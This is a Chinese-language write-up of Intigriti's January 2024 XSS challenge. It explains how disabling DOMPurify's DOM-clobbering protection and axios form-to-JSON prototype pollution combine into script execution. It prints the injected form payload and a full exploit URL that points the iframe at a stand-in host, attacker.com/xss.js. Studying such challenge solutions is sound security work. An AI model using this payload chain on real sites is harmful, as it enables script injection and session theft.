Intigriti 一月份的 DOM破坏+原型污染 XSS 挑战
2024-1-19 09:59:28 Author: Ots安全(查看原文) 阅读量:13 收藏

目标:找到一种在 iFramed 页面上执行任意 javascript 的方法并赢得 Intigriti 赠品。

这是一个简单的网页,可以设置用户名并搜索存储库。如果搜索成功,页面将在 iframe 中加载图像和存储库的网站。提供了挑战的来源。

源码分析


后端 - 有趣的端点是“/”:

app.get("/", (req, res) => {    if (!req.query.name) {        res.render("index");  return;    }    res.render("search", {        name: DOMPurify.sanitize(req.query.name, { SANITIZE_DOM: false }),        search: req.query.search    });});

name参数使用DOMPurify进行清理,并将选项SANITIZE_DOM设置为 false。搜索文档:

// disable DOM Clobbering protection on output (default is true, handle with care, minor XSS risks here)const clean = DOMPurify.sanitize(dirty, {SANITIZE_DOM: false});

因此SANITIZE_DOM禁用了针对 DOM Clobbering 的保护。

前端 - 该页面使用axios来检索搜索结果:

<script>    function search(name) {        $("img.loading").attr("hidden", false);
axios.post("/search", $("#search").get(0), { "headers": { "Content-Type": "application/json" } }).then((d) => { $("img.loading").attr("hidden", true); const repo = d.data; if (!repo.owner) { alert("Not found!"); return; };
$("img.avatar").attr("src", repo.owner.avatar_url); $("#description").text(repo.description); if (repo.homepage && repo.homepage.startsWith("https://")) { $("#homepage").attr({ "src": repo.homepage, "hidden": false }); }; }); };
window.onload = () => { const params = new URLSearchParams(location.search); if (params.get("search")) search();
$("#search").submit((e) => { e.preventDefault(); search(); }); };</script>
  • axios 中的客户端原型污染formDataToJSON

搜索表单 HTML 元素直接传递给 axios:$("#search").get(0)

Axios 自动从 HTML 表单元素获取要发送的数据,根据此提交formDataToJSON,使用容易受到原型污染的函数

DOM破坏+原型污染 利用


我们可以将名称查询参数设置为:

<form id=search><input name="__proto__.owner" value="x"><input name="__proto__.homepage" value="https://attacker.com/xss.js"></form>

使用此有效负载,所有者检查将被绕过,主页属性将被污染,从而导致 xss 利用:

https://challenge-0124.intigriti.io/challenge?name=%3Cform+id%3dsearch%3E%3Cinput+name%3d%22__proto__.owner%22+value%3d%22x%22%3E%3Cinput+name%3d%22__proto__.homepage%22+value%3d%22https%3a//attacker.com/xss.js%22%3E%3C/form%3E&search=c
  • 还有这篇文章也可以参考参考

https://medium.com/@rodriguezjorgex/how-i-passed-the-intigriti-0124-challenge-b6c2d1cd1b7b

感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247503710&idx=1&sn=04037d422150136f469d0a6f025a4278&chksm=9ad9cf0f37b858128bf63fa953ab083733869c4bf06beeedb1a98ce20ff1746b4b44674d4522&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh